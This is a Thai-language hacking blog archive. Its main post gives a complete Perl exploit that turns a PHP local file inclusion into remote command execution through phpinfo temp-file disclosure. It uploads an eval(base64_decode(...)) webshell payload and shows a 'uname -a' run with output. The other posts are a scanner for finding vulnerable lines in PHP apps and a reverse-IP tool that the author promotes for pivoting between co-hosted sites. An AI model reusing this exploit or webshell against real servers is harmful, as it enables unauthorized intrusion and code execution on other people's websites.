Tag Archives: hack

ชำแหละ LFI With PHPInfo Assistance

Filed under เรื่อยเปื่อย บ่นๆ ไร้สาระมั่ง ไม่ไร้สาระมั่ง
Tagged as , ,

#########################
# LFI With PHPInfo Assistance
# POC -> http://www.exploit-db.com/download_pdf/17799

[คหสต.]
ช่องโหว่ ทาง LFI เนี่ย เป็นมุขแฮกเวปที่เก่ามากแล้ว (ตั้งแต่ php 4+)
พอ php 5 มา .. คนก็ไปใช้ function file_get_contents แทน include ซะหมด
ดังนั้น LFI จะหาแฮกยากหน่อย .. ( แต่ส่วนมาก sv ของเกาหลียังพอจะหาเวปที่รั่ว แนวๆ นี้ได้อยู่บ้าง )
ซึ่งตามปกติ LFI จะเป็นการ เรียก file อื่นมาอ่าน เช่น /etc/passwd หรือ wp-config.php ทั่วๆ ไปเป็นต้น
ซึ่งช่องโหว่ LFI เนี้ยไม่สามารถ สั่ง คำสั่ง command line ได้ … (แต่ มันก็ยังพอจะมีวิธี ^^”)

และเจ้า LFI With PHPInfo Assistance ก็เป็น หนึ่ง ในวิธี ที่พูดถึง (วิธีอื่น อย่าถาม .. ผมไม่ตอบ เพราะผมกั๊ก *0*)

#########################
# เงื่อนไขหลักๆ (ผมก็ไม่ค่อย แน่ใจนะ ว่า จำกัด version ของ php รึเปล่า )
1. มีหน้า phpinfo ( เพราะจะต้องใช้คำสั่ง จาก ฟังชั่น นี้ )
phpinfo.php

<? phpinfo();?>

2. มีหน้าที่ รั่ว LFI ( ตอนนี้หายากแล้วล่ะมั้ง T^T )
lfi.php

<?include($_GET['page']);?>

3. ค่าใน php.ini ต้องตั้ง file_uploads = On (ปกติ ก็น่าจะเป็น On หมดนั่นแหละ)

#########################
# หลักการ
ตามปกติ หากเรา ทำการ upload file ใน php เนี้ย
พวก file ที่เรา upload ขึ้นไปนั้นจะถูกเขียน ลงใน temp ก่อน
(ดูตรง upload_tmp_dir อ่ะ .. ปกติมันจะว่าง ก็เดาซะว่าอยู่ที่ /tmp แล้วกัน)
พอ upload ขึ้นไปปุ๊ป เจ้า php จึงจะ ย้ายมาไว้ใน ตำแหน่งที่เราระบุไว้
ซึ่งชื่อ ใน temp ก็จะสุ่มมั่วๆ ซะด้วย และไฟล์ ก็จากหายไปจาก temp อัตโนมัติ
เมื่อหมด session ( ประมาณว่า เมื่อหน้า page นั้นโหลดเสร็จ .. ไฟล์มันจะหายไปเองจาก /tmp )

ทีนี้ หากเราทำการ upload file ที่มี evil code ขึ้นเวป เพื่อที่จะให้สามารถสั่ง exec ได้
เจ้า file โจรๆ ของเรามันก็จะต้องไปอยู่ใน temp จนกว่าหน้าเวปนั้นจะโหลดเสร็จ … จริงมั้ย ?

ทีนี้ หากเราสั่งให้ lfi.php มันดึง file โจรๆ ที่เรา upload ขึ้นไป
จาก LFI ธรรมดา มันก็จะกลายไปเป็น Remote Exec ทันที … จริงมั้ย ?

#########################
# คำถามที่คนอ่าน ที่ชอบเรื่องแฮกๆ จะต้องผุดขึ้นมา คือ

- ทำไง ถึงจะรู้ว่า File ที่ อัพไป .. ชื่อไฟล์อะไร .. ในเมื่อ ก็บอกอยู่ว่ามันสุ่ม !!
คำตอบคือ .. มันจะบอกอยุ่ใน phpinfo.php ตรงค่า “PHP Variables” ไง

- ทำไงให้ file นั้น อยู่นานๆ … นาน น๊าน นาน นาน นานนนนนน พอที่จะรันคำสั่งเสร็จ ก่อนที่จะโดนลบ?
คำตอบคือ .. ทำให้ฟังชั่น phpinfo(); ทำงาน นานๆ
โดยการ ส่ง junk code ไปเยอะๆ เช่น ส่งไปใน header, ในค่า post, ใน ค่า file upload, ฯลฯ

#########################
# Exploit Code –> [perl] http://pastebin.com/2m6mz8Mz
- fake header z (ส่ง HEADER Z ไป 3000 ตัวอักษร)
- ส่ง file ไป 40 file (ชื่อไฟล์ คือ จำนวนที่ N ตามด้วย > ยาว 100000 ตัวอักษร)
เท่านี้ code ที่สั่ง run ก็จะ ทำงาน แล้ว นั่นเอง *0*

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/perl -w
use IO::Socket;
use MIME::Base64;
use HTTP::Cookies;
use LWP::UserAgent;
 
my $HOST='';
my $PATH='';
 
my $LFI_URL= $ARGV[1] || 'http://localhost/lfi.php?page=';
my $COMMAND= $ARGV[2] || 'system("uname -a");';
$COMMAND = encode_base64($COMMAND);
$COMMAND =~s/\s+//ig;
 
 
if($ARGV[0]=~m#http://([^/]+)(/.+)#){
  $HOST=$1;
  $PATH=$2;
}else{
  die "[!] wrong host !?\n";
}
 
my $CRLF = "\r\n";
my $SOCK = IO::Socket::INET->new(
  Proto => "tcp",
  PeerAddr  => $HOST,
  PeerPort  => 80,
) or die ("[!] Can't creat socket\n");
setsockopt($SOCK, SOL_SOCKET, SO_RCVBUF,pack("I",'1024'));
$SOCK->autoflush(1);
my $BOUNDARY = "-----whoami".int(rand(9999));
 
my $HEADER .= 'POST '.$PATH.' HTTP/1.0'.$CRLF;
$HEADER .= 'Host: '.$HOST.$CRLF;
$HEADER .= 'User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'.$CRLF;
$HEADER .= 'Content-Type: multipart/form-data; boundary='.$BOUNDARY.$CRLF;
$HEADER .= 'z:'.("Z" x 3000).$CRLF;
for(my $i=0; $i<30; $i++){$HEADER .= 'z'.$i.': '.$i.$CRLF;}
 
$HEADER .= 'Content-Length: ';
my $CONTENT .= '--'.$BOUNDARY.$CRLF;
$CONTENT .= 'Content-Disposition: form-data; name="tfile"; filename="elif.html"'.$CRLF;
$CONTENT .= 'Content-Type: text/html'.$CRLF.$CRLF;
$CONTENT .= '<?@eval(base64_decode($_SERVER[HTTP_THD]));exit;?>'.$CRLF;
$CONTENT .= '--'.$BOUNDARY.'--'.$CRLF;
for(my $i=0; $i<40;$i++){
  $CONTENT .= '--'.$BOUNDARY.$CRLF;
  $CONTENT .= 'Content-Disposition: form-data; name="junkfile'.$i.'"; filename="junkfile'.$i.('>' x 100000).'"'.$CRLF;
  $CONTENT .= 'Content-Type: text/html'.$CRLF.$CRLF;
  $CONTENT .= 'jumk'.$CRLF;
  $CONTENT .= '--'.$BOUNDARY.'--'.$CRLF;
}
$HEADER .= length($CONTENT).$CRLF.$CRLF.$CONTENT;
print $SOCK $HEADER;
 
while($line=<$SOCK>){
  if($line =~ m#tmp_name].+(/tmp/php.+)$#) {
	my $tmpfile = $1;
	my $cookie_jar = HTTP::Cookies->new(autosave =>1, hide_cookie2=>1);
	my $browser = LWP::UserAgent->new(
	  agent => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)',
	  timeout => 8,
	  max_redirect => 0,
	  cookie_jar => $cookie_jar
	);
	$browser->default_header('THD'=>$COMMAND);
	my $content_rce = $browser->get($LFI_URL.$tmpfile)->content;
	print $content_rce;
	exit;
  }
}

#########################
# ตัวอย่าง การทดลองสั่ง ‘uname -a’
#########################

pirate@BlackBuntu~/Desktop$ ./phpinfo_exploit.pl http://localhost/phpinfo.php http://localhost/lfi.php?page= "system('uname -a');"

Linux BlackBuntu 2.6.38-10-generic #44-Ubuntu SMP Thu Jun 2 21:32:22 UTC 2011 x86_64 GNU/Linux

Perl Vulnerable Finder

0
Filed under รวม code ทั้งมั่วเอง ทั้งจิ๊กชาวบ้านมา
Tagged as , , , ,
# Perl Vulnerable Finder
# Powered by windows98SE
# Update 02/09/2553 12:46
#
# HOW TO USE
# - Copy and save this script to "anyname.pl"
# - change "$PATH" to you AppServ path
# - change "$URL" to url
# - Download Free Script (Web App, CMS, bla bla)
#    Ex. http://www.exploit-db.com/exploits/10277/
# - Extract it to $PATH
# - run this code
# (in linux need make result_exploit_scan.html and chmod 0777)
# - see Posible Vulnerable in result_exploit_scan.html
#
# Enjoy
 
use HTML::Entities;
 
 
my $PATH = 'D:/AppServ/www/exploit_scan';
my $URL = 'http://localhost/exploit_scan';
 
my @FILES;
my @TYPES = qw(php php5 php3 cgi);
my $RESULT = $PATH.'/result_exploit_scan.html';
 
 
&_start;
&_folder($PATH);
foreach (@FILES){&_read($_);}
&_end;
 
 
###############################################
sub _folder {
  my @folders;
  my $dir = _path($_[0]);
  opendir (DIR, $dir );
  while (defined(my $tmp = readdir(DIR))){
	next if($tmp =~ /^\.\.?$/i);
	push (@folders, $dir.'/'.$tmp) if(chdir($dir.'/'.$tmp));
	foreach my $extention (@TYPES){
	  if((-f "$dir/$tmp") && ($tmp =~/$extention$/i)){
		push (@FILES, $dir.'/'.$tmp);
	  }
	}
  }
  closedir(DIR);
  foreach my $folder (@folders){
	_folder($folder);
  }
}
 
sub _read {
  my $found = 0;
  my $write;
  my $num_line = 0;
  my $comment = 0;
  my $file = _path($_[0]);
  open FILE, "<", "$file" or die "[+] Can't open $file : $!";
  while(<FILE>) {
	$num_line++;
	my $line = $_;
	$line =~ s/\r|\n//gi;
	$line =~ s/^\s+//gi;
	$line =~ s/\s+$//gi;
	$line =~ s/\s+/ /gi;	
	$comment = 1 if($line =~/^\/\*/i);
	$comment = 0if($line =~/\*\//i);
 
	next if ($comment);
	next if ($line =~/^\/\//i);
	next if ($line =~/^function/i);
 
	if($line =~ /(\$\_(get|post|cookie|request|files)\[(\'|\")([a-z0-9\-\_]+)(\'|\")\])/ig){
	  my $regex = $1;
	  $write = $write._write($num_line,"<div class='method'>$regex</div>",("<p class='src'>"._html($line)."</p>"));
	  $found = 1;
	}
	if($line =~ /((include|require|readfile|file|file\_get\_contents|fopen|popen)(\_once)?)([\s|\(]|\"|\$)/ig){
	  my $regex = $1;
	  next if ($line !~/\$/ig);
	  $write = $write._write($num_line,"<div class='rfi'>$regex</div>",("<p class='src'>"._html($line)."</p>"));
	  $found = 1;
	}
	if($line =~ /(select|order|where) /ig) {
	  next if ($line !~/\$/ig);
	  next if ($line !~/\=/ig);
	  $write = $write._write($num_line,"<div class='sql'>SQL</div>",("<p class='src'>"._html($line)."</p>"));
	  $found = 1;
	}
  }
  close(FILE);
  if($found){
	my $file2 = $file;
	my $file3 = _path($PATH);
	$file2 =~ s/$file3//ig;
	print OUTFILE "<tr><th colspan=\"3\" class=\"file\" align=\"left\"><a href=\"$URL$file2\" target=\"_blank\">$file2</a> ($num_line line)</th></tr>";
	print OUTFILE "$write";
  }
}
 
sub _start {
  open OUTFILE, ">", "$RESULT" or die "Can't open $RESULT $!";
  print OUTFILE "<html><head>
<style type=\"text/css\">
table{border:1px solid #e5eecc;}
td{border:1px dashed #e5eecc;}
th{border:1px dotted red;background-color:#e5eecc;}
tr{border:1px solid red;}
.sql{color:#ff0000;}
.rfi{color:#0000ff;}
.method{color:#666666;}
.src{color:#000000;}
.file{color:#999999;}
.cradit{color:#ff0000;background-color:#e5eecc;}
</style>
</head>
<body><table width=\"95%\">
<tr>
	<th width=\"5%\">Line</th>
	<th width=\"10%\">Variable</th>
	<th width=\"85%\">Source<br />( Path = $PATH )</th>
</tr>
";
}
 
sub _write {
  my $line = $_[0];
  my $var = $_[1];
  my $src = $_[2];
  return "<tr>
	<td width=\"5%\" align=\"center\">$line</td>
	<td width=\"10%\" align=\"left\">$var</td>
	<td width=\"85%\" align=\"left\">$src</td>
</tr>
";
}
 
sub _end {
  print OUTFILE "<tr>
  <th colspan=\"2\" width=\"10%\" align=\"left\">Total : ".scalar(@FILES)." File.</th>  
  <th align=\"right\" class=\"cradit\">powered by <a title=\"admin\@stephack.com\" target=\"_blank\" href=\"http://www.stephack.com\">windows98SE</a></th>
  </tr>
  </table></body></html>";
  close OUTFILE;	
}
 
sub _path {
  my $var = $_[0];
  $var =~ s/\\/\//gi;
  $var =~ s/^\s+//gi;
  $var =~ s/\s+$//gi;
  $var =~ s/\/$//gi;
  return $var;
}
 
sub _html {
  return encode_entities($_[0]);  
}

StepHack Reverse IP Service (FREE!!)

0
Filed under รวม code ทั้งมั่วเอง ทั้งจิ๊กชาวบ้านมา, เรื่อยเปื่อย บ่นๆ ไร้สาระมั่ง ไม่ไร้สาระมั่ง
Tagged as , ,

เอาไว้ สำรวจว่า เวป xxx.com อยู่บน เครื่องไหน, ip ไหน, และ มีเวปอะไรอยู่บ้าง
วิธีใช้
http://www.stephack.com/re_ip/<เวปที่ต้องการ reverse>

เช่น

http://www.stephack.com/re_ip/www.thaishadow.com

http://www.stephack.com/re_ip/www.opkwin.com

http://www.stephack.com/re_ip/stephack.com

เป็นต้นจร้าาาา

[edit]

ทีนี้ เวลาเอาไป ใช้คู่กับ addons ShowIP ของ Firefox

- ShowIp
หน้าที่หลักๆ คือ
1. เอาไว้ ดูว่าเวปที่เข้า นั้น IP อะไรครับ ไม่ต้อง นั่ง ping หรืองม ip อยู่
เพราะมันจะขึ้นที่ขวาล่างเลย
2. เอาไว้ reverse ip ดูว่าใน เครื่องนั้น มี เวปอะไรอยู่บ้าง
ซึ่ง หากมีเวป www.aaa.com , www.bbb.com, www.ccc.com
หากเราแฮก www.aaa.com ได้เมื่อไหร่ ก็เหมือนกับว่าเรา แฮก เวป www.bbb.com, www.ccc.com ได้ 50% ด้วยทันที
(วิธีกระโดดข้าม [bypass] อยู่ที่ คอส ๒ ที่บอกว่า แฮกเข้าไปแล้วทำอะไรได้บ้าง)

วิธีเซ็ต ให้ reverse ip ได้ คือ หลังจากลง addons เสร็จให้
เลือก tools -> ShowIP
แถบด้านบนเลือก Services
ช่อง Title ใส่อะไรก็ได้ เช่น “re_ip1″
แถบ URL ใส่เวป “http://www.ip-adress.com/reverse_ip/##”
ติ๊กถูกที่ IPv4 และ Host
กด Add

แล้ว add ใหม่ อีกอัน ทำแบบเดิม แต่เปลี่ยน title และ URL คือ “http://www.stephack.com/re_ip/##”

วิธีใช้
- เปิดเวป ที่สงสัย
- คลิกซ้ายที่ ip ที่แสดง ซ้ายล่าง
- เลือก re_ip (หรืออะไรที่เขียนไว้ตรง title อ่ะ)